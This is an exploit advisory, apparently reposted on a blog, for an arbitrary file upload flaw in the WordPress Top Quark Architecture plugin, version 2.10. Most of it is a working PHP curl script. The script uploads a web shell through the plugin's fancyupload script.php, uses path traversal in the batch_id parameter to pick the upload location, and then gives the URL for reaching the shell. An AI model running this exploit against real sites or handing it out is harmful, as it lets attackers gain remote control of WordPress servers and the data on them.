WordPress Top Quark Architecture Version 2.10 Arbitrary File Upload Vulnerability

###########################################################

Vuln page : http://mysite.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php

exploit :

<?php
$u=”C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.php”;
$c = curl_init(“http://127.0.0.1/wordpress/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php?batch_id=../../shell.php”);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array(‘upload’=>”@$u”
));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e;
?>

You can choose where upload the shell with param batch_id

Shell access : http://site.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/shell.php1

#####################################################################

评论关闭。